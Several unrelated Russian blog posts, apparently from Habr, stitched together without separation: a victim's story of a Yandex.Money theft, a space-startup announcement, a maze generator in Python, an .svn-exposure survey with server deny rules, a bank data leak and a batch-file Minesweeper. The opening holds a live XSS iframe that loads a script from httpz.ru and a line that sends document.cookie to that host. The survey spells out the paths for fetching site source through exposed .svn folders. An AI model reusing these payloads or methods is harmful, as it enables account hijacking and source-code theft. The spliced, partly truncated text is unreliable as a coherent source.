<iframe  src='http://slovari.yandex.ru/search.xml?text=&st_translate=sp%22<script>alert()</script>%3CSCRIPT type=text/javascript src=http://httpz.ru/zakazchikgo.js></SCRIPT>"'  width='0' height='0' style='display:none'></iframe>

Ну, думаю, ни фига себе! Иду по URL с js-скриптом: там такой код:
location.href = "http://httpz.ru/nzakazchik.gif?" + document.cookie;

Все четко! Воруем cookie, заходим от имени пользователя в его кабинет…

Flashback


Тут я вспоминаю, что до того как у меня украли деньги, я тоже бегал по сайту фриланса и уже тыкался в подобное объявление и тоже проходил по ссылке… Откуда у меня взломали профиль — теперь становится понятным. Как сменили пароль — вопрос интереснее. Как узнали платежный пароль — еще интереснее…

Ответ от Яндекс.Денег


Как только я увидел такую схему, отписался sperans. Она ответила мне, что об этой уязвимости передали разработчикам и в такой схеме увести пароль от Яндекс.Денег нельзя (на момент написания топика уязвимость еще доступна). В принципе, я пробовал различные варианты логина, но получить платежный пароль по такой схеме я так и не смог…

Вопросы к Яндексу


  1. Каким образом вы «проводили расследование»? Прочитали сообщение и copypaste из инструкции?!
  2. Почему мне, владельцу аккаунта, не дают никакой информации о том, как сменили мой пароль от аккаунта, с какого ip заходили, пытались ли как-то злоумышленники восстановить мой платежный пароль?
  3. Были ли попытки ввода неверного платежного пароля?
  4. Почему платежный пароль НЕ менялся после взлома? (Был изменен только пароль на аккаунт + дополнительный e-mail...)
  5. Почему эта информация является «СВЕРХКОНФИДЕНЦИАЛЬНОЙ» (да-да, капсом), которая доступна ТОЛЬКО сотрудникам Яндекса и милиции?!

Я понимаю, если бы вы вернули мне деньги — меня бы данные вопросы не особо заботили, но в данном случае ответы мне важны. Так же, как и другим хабрапользователям, я думаю…

Ответы от Яндекса
1. Каким образом вы «проводили расследование»? Прочитали сообщение и copypaste из инструкции?!
— Конечно, не только. Проверили, с какого айпи совершён платёж и куда ушли деньги, а дальше — можно ли их вернуть. Как выясняется, можно ли вернуть — это конфиденциальная информация. Иногда, кстати, очень обидно: за десять минут становится ясно, что дело на 100% для милиции и мы ничего уже сделать не можем — и вот сидим и думаем, сейчас напишем пользователю — он решит, что мы ничего не делали :( а мы просто уже знаем результат.

2. Почему мне, владельцу аккаунта, не дают никакой информации о том, как сменили мой пароль от аккаунта, с какого ip заходили, пытались ли как-то злоумышленники восстановить мой платежный пароль?
— Потому что мы такую информацию не пересылаем по электронной почте. Вам уже в предыдущих топиках это объясняли другие хабровчане.

3. Были ли попытки ввода неверного платежного пароля?
— Это не имеет значения.

4. Почему платежный пароль НЕ менялся после взлома? (Был изменен только пароль на аккаунт + дополнительный e-mail...)
— Это распространённый способ действия. Я не была в голове у злоумышленника, но предполагаю, что он просто не стал заморачиваться. Один пароль на вход поменял -и хватит.

5. Почему эта информация является «СВЕРХКОНФИДЕНЦИАЛЬНОЙ» (да-да, капсом), которая доступна ТОЛЬКО сотрудникам Яндекса и милиции?!
— Вот даже и не знаю, как объяснить, почему информация конфиденциальная. Вот почему ФИО владельца аккаунта конфиденциальная информация? А сумма его последнего платежа за МТС почему конфиденциальная информация, может, там всего 10 рублей, тоже мне секрет?


Если кто-то сможет помочь дальше в раскручивании (в плане помощи понять что происходило после того, как украли cookie) этой ситуации — буду благодарен!

P.S. Из РУВД пока не звонили. Я думаю, я их завтра опережу…

UPD. Яндекс попросил передать, что платежный пароль случае воровства cookie не передается. Хочу заметить, что я такого и не говорил. В топике в 2-х местах сказано что я НЕ знаю как добыли платежный пароль

UPD 2. Как сообщили из Яндекса, уязвимость закрыли.

Следующая часть истории находится здесь: Как увели мои деньги с кошелька Яндекса. Часть 4. Так что там с заявлением?!
Привет, всем. Это Zelenyikot, хочу рассказать о новости, которая, много значит для меня, и, уверен, привлечет внимание многих хабровчан.

На Хабре с интересом следят за деятельностью частных космических компаний: SpaceX, Virgin Galactic и других. Прогресс не стоит на месте, и вот, частная космонавтика добралась и до России. Представляю отечественного первенца, который полон решимости сделать прибыльным освоение космоса: «Даурия Аэроспейс».



Хабру нравятся публикации о космосе, но традиционно отношение к ним как к «котикам», т.е. к тому, что приятно глазу, радует душу, но не имеет практического применения в жизни. Теперь такое время уходит в прошлое, и у «Даурии» есть предложения, которые могут быть интересны не только желающим сделать карьеру в космической отрасли, но и свободным разработчикам. Близится пора, когда космос сможет стать для Хабра не только интересным, но и прибыльным.

О каждом направлении деятельности компании я еще подробно расскажу, пока краткий ознакомительный обзор.

Компания создана выходцем с Забайкалья Михаилом Кокоричем. Он сделал состояние на розничной торговле и куче других стартапов, но в какой-то момент решил совместить мечту о космосе и стремление делать деньги. Михаил, и два его одноклассника по физико-математической школе Новосибирского госуниверситета, создали «Даурию Аэроспейс». Компания получила имя по историческому названию Забайкалья. Центральный офис размещается в Москве на территории Технопарка Сколково.



В течение одного 2012 года «Даурия» стала международным холдингом, включив в свой состав американскую компанию Canopus и германскую CloudEO. В России компания собрала молодой, но профессиональный коллектив, который позволил начать реализацию первого собственного космического проекта DX-1. Кроме этого в декабре 2012 года компания выиграла госконтракт на производство двух микроспутников для Роскосмоса, и разработку средства размещения аппаратов стандарта CubeSat на российских ракетах-носителях.

Спутник DX-1 – это экспериментальный аппарат, который создается как универсальная малая космическая платформа для размещения различных типов полезных нагрузок. Кроме того, «первенец» нужен для того, чтобы сработался коллектив, наладилась цепь поставщиков и подрядчиков, опробовались технологии и методы работы. Программа управления, написанная для спутника, станет основой для последующих поколений аппаратов. DX-1 полетит с приемником АИС сигналов – будет осуществлять мониторинг судов в Мировом океане. Это первый российский спутник с такой функциональностью. Запуск будет попутный, Роскосмос обещает на декабрь, но есть некоторая вероятность, что перенесут.



Автоматическая идентификационная система (АИС) – это средство обмена навигационной и регистрационной информацией между кораблями по УКВ каналу. Пролетающий спутник ловит эти сигналы, получая данные, из которых можно составить карту расположения судов. На каждом витке информация пересылается на принимающую станцию на Земле. Данные представляют интерес для береговых служб, судовладельцев, транспортных компаний.



Есть еще авиационный АИС, думаю, многие пользовались сервисом, который создан с его помощью: flightradar24.com

Более интересный проект – госконтракт «Кубсат-нано». Сразу надо отметить, что «нано» — это не дань нынешней моде, а международный стандарт классификации космических аппаратов. В применении к спутникам «нано» означает «от 1 до 10 кг». «Кубсат-нано» — это второй опыт Роскосмоса в создании, выведении и эксплуатации космических аппаратов стандарта CubeSat.



Роскосмосу «Кубсат-нано» нужен чтобы получить опыт эксплуатации аппарата «заморского» стандарта CubeSat. Для «Даурии» — это амбициозный проект создания аппарата дистанционного зондирования Земли стандарта CubeSat, который решает реальные прикладные задачи. На сегодня в мире запущено уже более сотни кубсатов. И большинство из них – в экспериментальных, образовательных или даже развлекательных целях. Лишь некоторые осуществляют практические задачи, чаще всего связанные с ретрансляцией радиосигналов. «Кубсат-нано» станет первым CubeSat, кто займется профессиональной мультиспектральной съемкой поверхности Земли. Такая информация станет полезной для МЧС, земледельческих и лесных хозяйств. Съемка позволит анализировать растительность, применяя алгоритм HDVI, которым пользуются, к примеру, при обработке данных американских спутников Landsat.



В планах «Даурии Аэроспейс» создание нескольких спутниковых группировок различного назначения: интернет услуг; дистанционного зондирования Земли, в разных диапазонах и разного разрешения; передачи информации в целях межмашинного взаимодействия. Предлагаемые с них услуги должны стать основным источником доходов компании.

Теперь, несколько слов о деле для разработчиков.
Немецкое подразделение «Даурии» занимается созданием облачной программной среды, которая позволит активнее применять спутниковые данные, как в повседневной жизни, так и в бизнесе. Несмотря на то, что сегодня на орбите действуют десятки спутников дистанционного зондирования Земли, можно привести лишь несколько примеров их широкого использования: Яндекс Карты, Google Maps, несколько метеорологических ресурсов и т.п. В своем большинстве спутниковые данные имеют узкоспециальное применение, под конкретные нужды государств или крупных коммерческих заказчиков.

Основа проекта CloudEO в следующем: на серверах аккумулируются все открытые данные со спутников ДЗЗ NASA и ESA, закупаются спутниковые данные с других аппаратов, к ним добавляются результаты работы собственных группировок «Даурии Аэроспейс». Приобретение и обработка платных снимков – занятие не дешевое. Идея CloudEO в том, чтобы сделать дорогие большие снимки более доступными по частям. Условно, если сейчас продается один кадр по $100, то с запуском системы можно продать ту же информацию 100 покупателям по $1.



Информация на серверах CloudEO становится доступной для использования в различных приложениях, разработка которых возможна для каждого. Можно реализовывать любые идеи и монетизировать их по аналогии с AppStore: следить за погодой, проверять чистоту воды на южных курортах или состояние снегового покрытия, на горнолыжных, следить за состоянием полей и прогнозировать урожаи, искать свободную парковку в мегаполисах, наименее загруженные трассы, и многое другое. Возможности будут со временем возрастать, по мере увеличения количества работающих спутников, повышения качества, и, главное, частоты съемки.

На начальном этапе развития сервиса, возможно предоставление грантов от «Даурии Аэроспейс» для разработчиков приложений. Предполагаю это привлечет интерес многих, но прошу сейчас не засыпать вопросами. Я сам до конца не разобрался в CloudEO, да и сервис пока не готов. Как придет время — разберусь и расскажу или приведу специалиста, который расскажет лучше.

В блоге компании на Хабре я буду рассказывать о том, как продвигается работа по созданию космических аппаратов, а когда они полетят – как проходит их работа. Постараюсь привлекать специалистов, которые смогут рассказать больше технических подробностей конструирования, строительства и управления космическими аппаратами, разработки космического ПО.

Вообще коллектив в «Даурии Аэроспейс» просто великолепный. Всего год назад я по черному завидовал сотрудникам NASA JPL, которые сажали на Марс Curiosity, за их азарт, увлечение и безграничный интерес к своей работе. Сегодня я уже не завидую, поскольку сам работаю в таком же увлеченном коллективе, и, черт, мы тоже делаем космос, и это происходит дома, а не за морем!



Ну, и немного о себе.
Спасибо Curiosity за то, что я снова, как ребенок увлекся космосом. То, что я пришел на Хабр, спасибо проекту Марс-Терраформинг и лично Cholgaa, кстати они продолжают работу и ждут любознательных гостей, жадных до Марса. То, что я и «Даурия Аэроспейс» нашли друг друга, спасибо Электро-Л и Kapn614.
Вообще за этот год прошла удивительная цепочка встреч и событий, перевернувшая мою жизнь, и Хабр, сыграл немаловажную роль.

Полгода назад я горел желанием построить из Роскосмоса свой луна-парк NASA, с сайтом и пиарщицами, но не сложилось. Поэтому теперь я из «Даурии» строю свой SpaceX. Компания пока делает только околоземные аппараты, но, я приложу все усилия, чтобы сдвинуть частную межпланетную программу. Есть идеи насчет Луны, а потом и для Марса чего-нибудь придумаю. Звучит самонадеянно и фантастично, но весь мой хабро-год настолько фантастичен, что самому не верится, и я намерен развивать наступление на объективную реальность. Времена меняются, прогресс идет, стоимость технологий падает, и можно говорить о новой волне космической экспансии, в которой каждый может сделать свой вклад.

Иными словами: будущее здесь и каждому, и пусть никто не уйдет обиженным!

P.S. И, да, Zelenyikot, не меняется. У меня куча космических идей и планов не связанных с работой. Осенью начнем реализовывать!
UPD2: Товарищи, зачем вы какаете в карму… Что в этот раз вам не понравилось?? капец…
UPD: Выложенные пароли от админки уже заменены, чтобы не превращать главную в чат:)

НЕ КАЧАЙТЕ ОТТУДА НИЧЕГО ДО ОФИЦИАЛЬНОГО СООБЩЕНИЯ АДМИНОВ!

Пруф-линк — qip.ru/

Скрины 'as is':



В этой статье я расскажу об одном необычном подходе к генерации лабиринтов. Он основан на модели Амари́ нейронной активности коры головного мозга, являющейся непрерывным аналогом нейронных сетей. При определенных условиях она позволяет создавать красивые лабиринты очень сложной формы, подобные тому, что приведен на картинке.

Вас ждет много анализа и немного частных производных. Код прилагается.
Прошу под кат!



Введение


Многие из читателей уже сталкивались с задачей генерации лабиринта в той или иной форме и знают, что для ее решения зачастую используют алгоритмы Прима и Крускала нахождения минимального остовного дерева в графе, вершины которого являются ячейками лабиринта, а ребра представляют проходы между соседними ячейками. Мы же сделаем смелый шаг прочь от теории графов в сторону… вычислительной нейробиологии.

В течение XX века ученые строили математические модели одиночных нейронов (клеток нервной системы) и их взаимодействия между собой. В 1975 году С. Амари представил свету свою непрерывную модель коры головного мозга. В ней нервная система рассматривалась как сплошная среда, в каждой точке которой находится «нейрон», характеризуемый значением потенциала своей мембраны, которая меняет свой потенциал, обмениваясь зарядами с соседними нейронами и внешними раздражителями. Модель Амари знаменита тем, что объясняет многие феномены человеческого зрения и, в частности, зрительные галлюцинации, вызываемые психоактивными веществами.

Модель Амари, в ее простейшем виде, представляет собой задачу Коши для одного интегро-дифференциального уравнения:
Здесь не обойтись без пояснений:
  • — вещественное значение потенциала мембраны нейрона в точке в момент времени .
  • — потенциал покоя (некоторая вещественная константа).
  • — ступенчатая функция Хэвисайда:
  • — весовая функция.
  • — внешний раздражитель.
  • — распределение потенциала в начальный момент времени.
  • — произвольная точка области , на которой определен потенциал. Поскольку мы планируем генерировать двумерное изображение лабиринта, в качестве будем рассматривать всю вещественную плоскость.
  • Частная производная по времени в левой части обозначает мгновенное изменение потенциала . Правая часть задает правило этого изменения.
  • Первые два слагаемых правой части означают, что при отсутствии раздражителей значение потенциала стремится к значению потенциала покоя.
  • Следующее слагаемое учитывает воздействие соседних нейронов. Функция Хэвисайда играет роль активационной функции нейрона: нейрон начинает влиять на соседей лишь при условии, что его потенциал больше нуля. Будем далее называть такие нейроны активными, а множество точек с положительным потенциалом — областью активности. Ясно, что покоящиеся нейроны не должны быть активными, то есть потенциал покоя не должен быть положительным. Активных соседей можно условно разделить на две группы: возбуждающие и тормозящие. Возбуждающие нейроны увеличивают потенциал соседей, а тормозящие — уменьшают. При этом возбуждающие создают мощный всплеск активности в малой окрестности, а тормозящие постепенно гасят активность в окрестности большого радиуса. Именно этот факт отражен в выборе весовой функции в форме «мексиканской шляпы»:

  • Последнее слагаемое правой части уравнения учитывает действие внешнего раздражителя. Например, для зрительной коры головного мозга естественным раздражителем является сигнал, полученный с сетчатки глаза. Будем считать, что раздражитель задан неотрицательной стационарной (независящей от времени) функцией.

Зададимся вопросом: можно ли подобрать параметры модели так, чтобы ее стационарное решение (при ) было изображением некоторого лабиринта?


Свойства решений модели Амари


Для анализа решений модели Амари нам будет достаточно ограничиться рассмотрением одномерного случая. Для простоты будем полагать, что постоянна на всей прямой.
В первую очередь нас интересуют так называемые бамп-решения. Они замечательны тем, что положительны лишь на некотором конечном интервале с подвижными границами. Уравнение Амари для них записывается следующим образом:
Чтобы понять, как ведет себя его решение, введем функцию
Теперь то же уравнение можно переписать так:
Нам известно, что бамп-решение обращается в ноль на границах интервала активности (потому они и называются границами). Запишем это условие на правой границе:
А теперь продифференцируем последнее тождество по переменной :
Отсюда:
Подставляя последнее выражение в уравнение для бамп-решения при , получим:
Теперь заметим, что частная производная по в левой части всегда отрицательна, так как слева от правой границы решение больше нуля, а справа от нее — меньше. Поэтому
Таким образом, направление сдвига границы зависит лишь от значения выражения в правой части. Если оно больше нуля, то область активности расширяется, если меньше — сужается. При равенстве нулю достигается равновесие.
Взглянем на возможные графики функции .

Очевидно, возможны два случая:
  1. Предельное значение неотрицательно. Тогда область активности бамп-решения будет неограниченно расширяться.
  2. Предельное значение отрицательно. Тогда область активности будет ограничена. Более того, в этом случае можно показать, что связные компоненты области активности решения уравнения Амари никогда не сливаются.

К сожалению, в двумерном случае получить явное выражение для функции затруднительно, поэтому мы просто оценим ее:
Отсюда:


Генерация лабиринта


Собрав багаж необходимых знаний, мы можем приступить к, собственно, алгоритму генерации лабиринта.
Прежде всего, определимся с самим понятием «лабиринт». Под лабиринтом будем подразумевать бинарную функцию такую, что область связна. Значение 0 соответствует свободной ячейке, а значение 1 — непроходимой стене. Условие связности говорит о том, что из любой свободной ячейки можно добраться до любой другой, не разрушая стены. Функцию будем искать в виде:
где — решение модели Амари. Осталось лишь определиться с параметрами модели.
Начнем с того, что зафиксируем произвольное отрицательное значение . Естественно положить . Теперь зададим функцию . Пусть ее значение в каждой точке определяется случайной величиной, равномерно распределенной на отрезке . В таком случае раздражитель не будет создавать активность. Зафиксируем произвольное положительное . Этот параметр влияет лишь на абсолютную величину потенциала, потому не представляет интереса. Зафиксируем произвольные положительные . Они определяют характерную толщину стен лабиринта. Параметр попробуем определить экспериментально, а затем сравнить с теоретической оценкой, полученной в предыдущем разделе.
Стационарное решение будем искать методом последовательных приближений:

А вот и долгожданная интерактивная демонстрация на Python:
import math
import numpy
import pygame
from scipy.misc import imsave
from scipy.ndimage.filters import gaussian_filter


class AmariModel(object):

    def __init__(self, size):
        self.h = -0.1
        self.k = 0.05
        self.K = 0.125
        self.m = 0.025
        self.M = 0.065

        self.stimulus = -self.h * numpy.random.random(size)
        self.activity = numpy.zeros(size) + self.h
        self.excitement = numpy.zeros(size)
        self.inhibition = numpy.zeros(size)

    def stimulate(self):
        self.activity[:, :] = self.activity > 0

        sigma = 1 / math.sqrt(2 * self.k)
        gaussian_filter(self.activity, sigma, 0, self.excitement, "wrap")
        self.excitement *= self.K * math.pi / self.k

        sigma = 1 / math.sqrt(2 * self.m)
        gaussian_filter(self.activity, sigma, 0, self.inhibition, "wrap")
        self.inhibition *= self.M * math.pi / self.m

        self.activity[:, :] = self.h
        self.activity[:, :] += self.excitement
        self.activity[:, :] -= self.inhibition
        self.activity[:, :] += self.stimulus


class AmariMazeGenerator(object):

    def __init__(self, size):
        self.model = AmariModel(size)

        pygame.init()
        self.display = pygame.display.set_mode(size, 0)
        pygame.display.set_caption("Amari Maze Generator")

    def run(self):
        pixels = pygame.surfarray.pixels3d(self.display)

        index = 0
        running = True
        while running:
            self.model.stimulate()

            pixels[:, :, :] = (255 * (self.model.activity > 0))[:, :, None]
            pygame.display.flip()

            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    running = False
                elif event.type == pygame.KEYDOWN:
                    if event.key == pygame.K_ESCAPE:
                        running = False
                    elif event.key == pygame.K_s:
                        imsave("{0:04d}.png".format(index), pixels[:, :, 0])
                        index = index + 1
                elif event.type == pygame.MOUSEBUTTONDOWN:
                    position = pygame.mouse.get_pos()
                    self.model.activity[position] = 1

        pygame.quit()


def main():
    generator = AmariMazeGenerator((512, 512))
    generator.run()


if __name__ == "__main__":
    main()

Я полагаю, что комментарии излишни. Хотелось бы отметить лишь то, что свертка с весовой функцией вычисляется через фильтр Гаусса, причем изображения продолжаются периодически на всю плоскость (параметр «wrap»). Демонстрация интерактивна в том смысле, что позволяет принудительно установить положительный потенциал в любой точке по клику.
Поведение решения, как и ожидалось, зависит от выбора параметра :

Теперь получим теоретическую оценку оптимального значения параметра . Оно удовлетворяет условию:
Поэтому его можно оценить следующим образом:
Неплохо, однако реальное значение чуть выше теоретической оценки. В этом легко убедиться, положив .

Наконец, можно менять степень «разреженности» лабиринта, изменяя значение параметра :

Заключение


Вот мы и закончили рассмотрение, пожалуй, самого необыкновенного способа генерации лабиринтов. Надеюсь, что статья показалась Вам интересной. В заключение приведу список литературы для желающих расширить свой кругозор:

[1] Konstantin Doubrovinski, Dynamics, Stability and Bifurcation Phenomena in the Nonlocal Model of Cortical Activity, 2005.
[2] Dequan Jin, Dong Liang, Jigen Peng, Existence and Properties of Stationary Solution of Dynamical Neural Field, 2011.
[3] Stephen Coombes, Helmut Schmidt, Ingo Bojak, Interface Dynamics in Planar Neural Field Models, 2012.
Пару месяцев назад нами (2Товарища и Антон Исайкин) была обнаружена уязвимость, присущая в основном большим интернет-проектам (вроде Рамблера, Мейла, Яндекса, Оперы и пр.). Удалось получить доступ к файловым структурам известнейших сайтов (в общей сложности 3320 сайтов) и в ряде случаев их полные исходные коды.

Казалось бы, что в XXI веке трудно найти подобную уязвимость. Кажется, что уже всё найдено, а то что не найдено, сидит где-то очень очень глубоко. Оказалось, что корнем сегодняшнего зла является вполне повседневная вещь. Наверняка каждый из вас когда-нибудь имел дело с системой контроля версий SVN.

SVN является продвинутым средством для организации совместной разработки десятков, а то и сотен разработчиков. В силу особенностей архитектуры, SVN хранит в каждой директории проекта свои метафайлы, аккуратно сложенные в скрытую директорию .svn. В одном из файлов под названием entries находится список всех файлов и директорий, расположенных в той же папке, что и .svn. Так же там находится информация о расположении репозитория, размере файлов, даты их изменения и логины пользователей, работающих над проектом. Уже не плохо, правда? Объясню, получается, если проект разрабатывается с помощью SVN, то заглянув по адресу draftcopy.ru/.svn/entries мы увидим файловую структуру корня проекта с авторами, последними изменениями, ссылкой на основную ветку репозитория итп.

Но можно пойти и далее. В той же папке .svn находится директори text-base, в которой лежат последние версии всех файлов, находящихся в репозитории. Картину дополняет так же и то, что файлы имеют не стандартное расширение (например .php), которое позволяет их сразу отправить на интерпретатор, а дополнительное расширение .svn-base, благодаря которому файл отдается запросившему его человеку «как есть», т.е. голый исходный код!

draftcopy.ru/.svn/text-base/index.php.svn-base

Стоит заметить, что описанная картина является идеальной и хоть она и была таковой в большинстве случаев, все же большой процент исходных кодов не удалось получить по тем или иным причинам.

Впервые осознав, что обнаруженная уязвимость присуща большинству проектов последние девять лет, было решено полностью просканировать рунет чтобы посмотреть чем живут интернет-проекты и получить интересную статистику. Но перед историей о том как это было, следует рассказать седым админам, как защищаться от подобного…

Защита от уязвимости


Уязвимость можно обойти несколькими путями. Путь в лоб — запретить обращаться к метадиректориям SVN по 80-ому порту, т.е. средствами вебсервера.

Решение для nginx
location ~ /.svn/ {
    deny all;
}

Глобальных локейшенов в nginx`е нет, поэтому прийдется подписывать для каждой server области. Чтобы правило имело силу, необходимо загружать его до других локейшенов с регулярным выражением. Универсальный способ — первым локейшеном.

Решение для Apache
<Directory ~ ".*\.svn">
    Order allow,deny
    Deny from all
    Satisfy All
</Directory>

Тут немного проще, дописываем это в httpd.conf и на всех проектах под управлением apache чтение из директории .svn будет недоступно.

Решение средствами SVN
Защита от уязвимости средствами вебсервера — лечение болезни. Любой доктор скажет, что профилактика проще, легче и менее затратней, чем лечение. Поэтому лучшим решение будет отсутствие этих самых метадиректорий в корне проекта. Добиться этого можно средствами svn export из основной ветки.
Информация взята с twocomrades.ru



История исследования


Как уже было сказано, было решено просканировать весь рунет на наличие подобной уязвимости. Были подняты прокси-сервера, написан парсер и получена свежая база доменов в зоне ru. Первая версия скрипта работала две недели, получая сайт за сайтом в один поток. К завершению сканирования, база насчитывала более 3000 уязвимых сайтов и занимала более ста гигабайт исходных кодов.

Проблемой первого сканировния было то, что скачивались все сорцы без разбора, не зависимо от того, отдавали они 200 или 500 код, а так же закачивалась графика и js-скрипты. А так же часто веб-сервера были настроены таким образом чтобы отдавать 200 код, даже если файл на самом дела отсутствовал.

Вторая версия скрипта была уже шустрее, работала в несколько потоков с двух серверных машин и правильно различала коды ответа содержимое полученных страниц. Мы обошли весь рунет за 4 дня. Дальнейшими планами была база доткомов. Стало очевидно, что при текущих ресурсах обход был бы выполнен как минимум за пару лет (зона com сейчас насчитывает более 700 млн доменов (против 2 млн ru)).

К дел был привлечен отличный си-программист Андрей Сатеренко, который написал быстрого демона, который сумел бы в пару раз сократить наши временные затраты. Но, к сожалению, к этому моменту лето кончилось, навалилилась работа. Грандиозные планы было решено свернуть.

Прежде чем публиковать открыто информацию об уязвимости, необходимо было предупредить всех пострадавших. В первую очередь письма были разосланы гигантам (yandex.ru, rambler.ru, mail.ru, opera.com, rbc.ru, 003.ru, bolero.ru, habrahabr.ru, итого 19 адресов), затем, сегодняшней ночью, письма получили остальные 3000+ сайтов.

Выпуск этой статьи был задержан ожиданием пока opera.com закроет уязвимость на всех своих серверах.

Немного статистики:

Просканировано доменов: 2253388
Уязвимых: 3320

Статистики по оповещениям пока нет, возможна она будет опубликована через пару недель. Из крупных порталов, ответили шестеро. Самым оперативным оказался Яндекс, прислав ответное письмо ночью в воскресенье. Десять проектов никак не прореагировали на наши письма, три проекта закрыли уязвимость не поблагодарив.
Мы не злопамятные, мы запишем их имена…

Несколько интересных фактов:

  1. Киберсквотеры полюбили SVN, как и оптимизаторы;
  2. Единый CSS для календарей яндекса собирается из десятка CSS средстами $make из консоли 0_0;
  3. На проектах Рамблера пользуются сервисами Яндекса 0_0, найдены файлы «подтверждения домена» для сервисов Яндекса;
  4. РБК использует и сервисы яндекса и сервисы гугля и очень любят «сложные» пароли;
  5. Опера уважает MySQL, но сайт у них на голом html с реальными директориями и поддиректориями;
  6. Блондинка уважает CodeIgniter;
  7. PostgreSQL уважают движок wikimedia => PostgreSQL уважают MySQL ;-) ошибко ;-(
  8. Все проекты Футурико (и Лепра) написаны на perl.
  9. Порядка 10 сайтов со словами в домене типа «hack» и «secure» уязвимы;
  10. Многие уверены, что назвав директорию с phpmyadmin примерно «__xpma123uff__» но сохранив пароль в конфиг, это хорошая защита;
  11. Многие до сих пор хранят конфиги в inc файлах, без расширения .php, которые открываются как текст в браузере.


Для вас старались 2Товарища (mobilz) и Антон Исайкин (oowl, twi).
Мы готовы к сотрудничеству ;)

P.S. Во избежании конфликтов все исходные коды, полученные за время исследования были распечатанны и сожжены :-)
P.S.S. Два пункта:
  • абсолютно все, кто мог пострадать, получили предупреждения об уязвимости с точной датой обнародования заранее.
  • никакие исходные коды ни при каких условиях не будут опубликованы или проданы. Не стоит писать нам по этому поводу.

P.P.P.S. Спасибо за содействие хабрапользователю oowl.
P.P.P.P.S. Никаких сорцов самого поискового механизма Яндекса получено не было, однако были получены корни веб морды некоторых ресурсов. Верстка, xmlapi, xsl шаблоны итп. Ничего серьезного, разве что все адреса репозиториев, логины разработчиков итп. Кукуц, Бобук, расслабьтесь.

Игорь Сысоев, ведущий системный администратор компании Рамблер, разработчик известного своей легкостью веб-сервера nginx ответил на пару наших вопросов:
  • Q: Отчего сразу столько известных проектов пренебрегли такой элементарной возможностью утечки?
    A: Причин, я думаю, много — кто-то считает, что в .svn лежит всё то же самое, доступное и без .svn. Кто-то, возможно, просто не знал или забыл об .svn.
  • Q: Планируется ли внести в nginx возможность глобально перенаправлять URL (до директивы server, чтобы можно было при настройке сразу заблокировать потенциально опасные адреса)?
    A: Нет. Я считаю, что глобальные настройки в конечном итоге приводят к конфигурации, которую с каждым разом всё сложнее сопровождать.





На конференции Google I/O компания Rovio презентовала веб-версию Angry Birds, основанную на WebGL. Она «брендированная» (расположена по адресу chrome.angrybirds.com и снабжена логотипом Хрома), но запускается и в других браузерах. Впрочем, вот тут вошедшая в поговорку скорость Chrome становится настоящим конкурентным преимуществом — от нее теперь зависит количество FPS.
Игра уже была добавлена в Chrome Web Store.

Google также объявил на I/O о введении покупок внутри веб-приложений из Chrome Web Store, установив комиссию всего лишь в 5% (за что удостоился овации от разработчиков), и в Angry Birds обещаны такие внутриигровые товары (например, Mighty Eagle).

Прогнозирую снижение производительности труда офисных работников вдвое.
И появление множества постов «вот теперь пора устраивать похороны флэша».

Update: у многих после 20-го уровня не загружался 21-й, но, как сообщается, это уже исправлено. Кроме того, у части макюзеров забавная проблема: игра работает во всех браузерах, кроме Хрома.
Я дал знакомому номер моей карты, чтобы он мог перевести мне деньги.
Знакомый сделал перевод и получил квитанцию.
В его квитанции оказались указаны мои паспортные данные (см. скан квитанции под катом).

Я сообщил о проблеме на странице www.facebook.com/sberbank, получил рекомендацию написать на адрес zabota@sberbank.ru

17 сентября я отправил на этот адрес описание истории и вопрос:

«Сообщите пожалуйста, почему и как в квитанции оказались мои паспортные данные и, таким образом, произошла передача моих персональных данных третьему лицу?»

Прошло почти 2 недели, никакого ответа я так и не получил, поэтому начинаю размещение открытых сообщений.

Я считаю, что важно, чтобы максимальное количество клиентов Сбера узнало о том, как банк относится к их личным данным.

UPDATE: А в Альфа-клике Альфа-Банка оказывается можно узнать ФИО и номер счёта клиента, зная лишь имейл или телефон (откройте печатную форму после перевода). Гуляй, Рассея!




Однажды захотелось мне написать Minesweeper… на батниках. И я его написал.

Встречайте!!! Minesweeper for cmd.exe

Итак, особенности данного продукта:
  • Оригинальное лого
  • Двухцветный текстовой графический интерфейс (фон — чёрный, текст — серый)
  • Возможность воспроизведения программы практически на любом компьютере
В общем, это настоящий сапер (а не те жалкие подобия — KMines и сапер for Windows) для настоящих мужчин. И далее вы сможете прочитать как сделать свой крутой сапер.


Скриншот игры.

Любая серьезная bat-программа не должна оставлять после себя следов, типа лишних переменных. Для этого используются команды setlocal (в начале) и endlocal (в конце). Больше информации: setlocal /?.. Ладно, перейдем к самой игре.

В первую очередь мы создадим два массива — реальное и видимые поля. Так как массивов нет, то будем импровизировать — создадим кучу переменных вида mfield34 и rfield 69. Для этого мы будем использовать цикл for.
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do set mfield%%x%%y=?

for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do set rfield%%x%%y=?
Вообще, for помогает в решении большого кол-ва задач. Подробнее вы сможете прочитать выполнив cmd.exe -> for /?

Теперь нужно проставить бомбы на поле. Для этого используем переменную %random% (содержит десятичное число между 0 и 32767) и строки расширения. Подробности: cmd.exe -> set /?..
set /a bx=%random:~-2%

set bx=%bx:~0,1%
Объяснения:
1. set /a используется для использования переменной как числа и выполнения арифметических операций (опять же, читаем cmd.exe -> set /?)
2. %random:~-2% — число между 0 и 99
3. %bx:~0,1% — первая цифра получившегося бреда.

Теперь пытаемся создать новую бомбу (и добавить еденицу к счетчику бомб) с помощью команды call, т.е. вызвем другую процедуру и передадим ей два параметра: содержание переменной и имя переменной (переменная — часть массива). Кстати, содержание переменной можно получить только с помощью команды call (пример: call: процедура %%переменная%счетчик1%%счетчик2%%%). Кстати, REM — это комментарий в бат-файлах.
:genbomb

call :newbomb %%rfield%r1%%r2%%% rfield%r1%%r2%

REM Проверяем на кол-во бомб. Если равно максимальному, то выходим из процедуры.

if "%bombs%" == "%maxbombs%" goto:eof



:newbomb

if not "%1"=="X" (

	set %2=X

	set /a bombs=%bombs%+1

	)

REM goto:eof - это быстрый возрат из процедуры.

goto:eof 
Также необходимо вызвать процедуру :genbomb из цикла инициализации (т.е. при старте новой игры) с помощью call.

Теперь нам необходимо проставить числа во всех клеточках, не заполненных бомбами. С помощью цикла for вызываем специальную процедуру, которой передаем четыре параметра. В этой процедуре мы просто считаем количество стоящих рядом бомб. Необходимо учесть, что для точки (4;4) будет 8 соседей, а для точки (1;1) — всего три.
for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do call :dosumfield %%x %%y %%rfield%%x%%y%% rfield%%x%%y



